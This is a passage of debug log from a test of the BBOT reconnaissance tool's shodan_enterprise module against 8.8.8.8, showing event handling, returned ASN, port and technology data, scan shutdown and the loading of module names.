'ipv4'}) passed post-check -2026-02-27 22:14:13,156 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) -2026-02-27 22:14:13,157 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) -2026-02-27 22:14:13,158 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) because precheck succeeded -2026-02-27 22:14:13,158 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) because precheck succeeded -2026-02-27 22:14:13,159 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) from TARGET -2026-02-27 22:14:13,159 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) passed post-check -2026-02-27 22:14:13,159 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) -2026-02-27 22:14:13,163 [DEBUG] urllib3.connectionpool connectionpool.py:1049 Starting new HTTPS connection (1): api.shodan.io:443 -2026-02-27 22:14:13,267 [DEBUG] urllib3.connectionpool connectionpool.py:544 https://api.shodan.io:443 "GET /shodan/host/8.8.8.8?key=deadbeef HTTP/1.1" 200 None -2026-02-27 22:14:13,276 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) -2026-02-27 22:14:13,277 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:2e0bd2c30017dfcff272681278b5de28b49a431e', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET -2026-02-27 22:14:13,278 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:2e0bd2c30017dfcff272681278b5de28b49a431e', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 22:14:13,278 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) from TARGET -2026-02-27 22:14:13,279 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) passed post-check -2026-02-27 22:14:13,279 [DEBUG] bbot.modules._scan_ingress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-02-27 22:14:13,280 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-02-27 22:14:13,281 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-02-27 22:14:13,282 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) passed post-check -2026-02-27 22:14:13,282 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) -2026-02-27 22:14:13,283 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-02-27 22:14:13,283 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-02-27 22:14:13,284 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) in-scope because its main host matches the scan target -2026-02-27 22:14:13,285 [DEBUG] bbot.modules._scan_egress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-02-27 22:14:13,286 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-02-27 22:14:13,286 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) -2026-02-27 22:14:13,287 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:14:13,287 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:14:13,288 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) passed post-check -2026-02-27 22:14:13,288 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) -2026-02-27 22:14:13,289 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-02-27 22:14:13,289 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-02-27 22:14:13,289 [DEBUG] bbot.modules.output.python base.py:1563 Queueing ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because precheck succeeded -2026-02-27 22:14:13,290 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:14:13,290 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:14:13,290 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:14:13,291 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) -2026-02-27 22:14:13,292 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:14:13,292 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:14:13,293 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-02-27 22:14:13,294 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) passed post-check -2026-02-27 22:14:13,294 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) -2026-02-27 22:14:13,295 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:14:13,295 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:14:13,295 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:14:13,296 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:14:13,297 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:14:13,297 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:14:13,298 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-02-27 22:14:13,298 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) -2026-02-27 22:14:13,299 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) because precheck succeeded -2026-02-27 22:14:13,299 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:14:13,300 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:14:13,300 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:14:13,300 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) passed post-check -2026-02-27 22:14:13,301 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) -2026-02-27 22:14:13,301 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:14:13,302 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:14:13,302 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:14:13,303 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) in-scope because its main host matches the scan target -2026-02-27 22:14:13,304 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:14:13,304 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-02-27 22:14:13,305 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:14:13,305 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:14:13,306 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) -2026-02-27 22:14:13,306 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:14:13,307 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) passed post-check -2026-02-27 22:14:13,307 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) -2026-02-27 22:14:13,308 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:14:13,309 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-02-27 22:14:13,309 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:14:13,309 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:14:13,310 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) -2026-02-27 22:14:13,310 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:14:13,311 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-02-27 22:14:13,312 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) passed post-check -2026-02-27 22:14:13,312 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) -2026-02-27 22:14:13,313 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) -2026-02-27 22:14:13,313 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) because precheck succeeded -2026-02-27 22:14:13,380 [DEBUG] bbot.modules.output.python base.py:1563 Got ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) from shodan_enterprise -2026-02-27 22:14:13,381 [DEBUG] bbot.modules.output.python base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-02-27 22:14:13,381 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) from shodan_enterprise -2026-02-27 22:14:13,382 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) passed post-check -2026-02-27 22:14:13,382 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-02-27 22:14:13,383 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:14:13,383 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-02-27 22:14:13,383 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:14:13,384 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-02-27 22:14:13,384 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:14:13,385 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) from shodan_enterprise -2026-02-27 22:14:13,385 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) passed post-check -2026-02-27 22:14:13,386 [INFO] bbot.scanner scanner.py:790 Finishing scan -2026-02-27 22:14:13,388 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED -2026-02-27 22:14:13,389 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED -2026-02-27 22:14:13,389 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED -2026-02-27 22:14:13,390 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() -2026-02-27 22:14:13,390 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING -2026-02-27 22:14:13,391 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None -2026-02-27 22:14:13,391 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None -2026-02-27 22:14:13,492 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None -2026-02-27 22:14:13,493 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() -2026-02-27 22:14:13,511 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks -2026-02-27 22:14:13,512 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks -2026-02-27 22:14:13,512 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks -2026-02-27 22:14:13,525 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks -2026-02-27 22:14:13,526 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... -2026-02-27 22:14:13,527 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP -2026-02-27 22:14:13,528 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal -2026-02-27 22:14:13,529 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... -2026-02-27 22:14:13,530 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down -2026-02-27 22:14:13,647 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_yq29unrqwa completed in 0 seconds with status FINISHED -2026-02-27 22:14:13,648 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test -2026-02-27 22:14:13,649 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 22:14:13,650 [CRITICAL] bbot test_module_shodan_enterprise.py:58 Found 1 ASN events -2026-02-27 22:14:13,651 [HUGEINFO] bbot test_module_shodan_enterprise.py:64 ASN Data: {'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': 'US'} -2026-02-27 22:15:09,243 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly -2026-02-27 22:15:09,257 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache -2026-02-27 22:15:09,259 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz -2026-02-27 22:15:09,260 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache -2026-02-27 22:15:09,262 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report -2026-02-27 22:15:09,264 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache -2026-02-27 22:15:09,265 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache -2026-02-27 22:15:09,266 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules -2026-02-27 22:15:09,267 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk -2026-02-27 22:15:09,268 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module -2026-02-27 22:15:09,269 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk -2026-02-27 22:15:09,270 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module -2026-02-27 22:15:09,271 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk -2026-02-27 22:15:09,275 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module -2026-02-27 22:15:09,276 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk -2026-02-27 22:15:09,281 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module -2026-02-27 22:15:09,282 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk -2026-02-27 22:15:09,285 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module -2026-02-27 22:15:09,286 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk -2026-02-27 22:15:09,288 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module -2026-02-27 22:15:09,289 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk -2026-02-27 22:15:09,291 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module -2026-02-27 22:15:09,292 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk -2026-02-27 22:15:09,293 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module -2026-02-27 22:15:09,293 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules -2026-02-27 22:15:09,295 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache -2026-02-27 22:15:09,296 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache -2026-02-27 22:15:09,297 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache -2026-02-27 22:15:09,298 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache -2026-02-27 22:15:09,299 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache -2026-02-27 22:15:09,300 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache -2026-02-27 22:15:09,301 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache -2026-02-27 22:15:09,302 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache -2026-02-27 22:15:09,303 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache -2026-02-27 22:15:09,304 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache -2026-02-27 22:15:09,305 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache -2026-02-27 22:15:09,311 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache -2026-02-27 22:15:09,313 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache -2026-02-27 22:15:09,314 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache -2026-02-27 22:15:09,315 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache -2026-02-27 22:15:09,317 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache -2026-02-27 22:15:09,318 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache -2026-02-27 22:15:09,320 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache -2026-02-27 22:15:09,321 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache -2026-02-27 22:15:09,322 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache -2026-02-27 22:15:09,323 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache -2026-02-27 22:15:09,324 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache -2026-02-27 22:15:09,326 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache -2026-02-27 22:15:09,326 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache -2026-02-27 22:15:09,328 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache -2026-02-27 22:15:09,330 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache -2026-02-27 22:15:09,331 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache -2026-02-27 22:15:09,332 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache -2026-02-27 22:15:09,333 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache -2026-02-27 22:15:09,334 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache -2026-02-27 22:15:09,335 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache -2026-02-27 22:15:09,337 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache -2026-02-27 22:15:09,338 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache -2026-02-27 22:15:09,339 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache -2026-02-27 22:15:09,340 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache -2026-02-27 22:15:09,341 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache -2026-02-27 22:15:09,342 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache -2026-02-27 22:15:09,351 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache -2026-02-27 22:15:09,353 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache -2026-02-27 22:15:09,354 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache -2026-02-27 22:15:09,355 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache -2026-02-27 22:15:09,357 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache -2026-02-27 22:15:09,358 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache -2026-02-27 22:15:09,359 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache -2026-02-27 22:15:09,360 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache -2026-02-27 22:15:09,361 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache 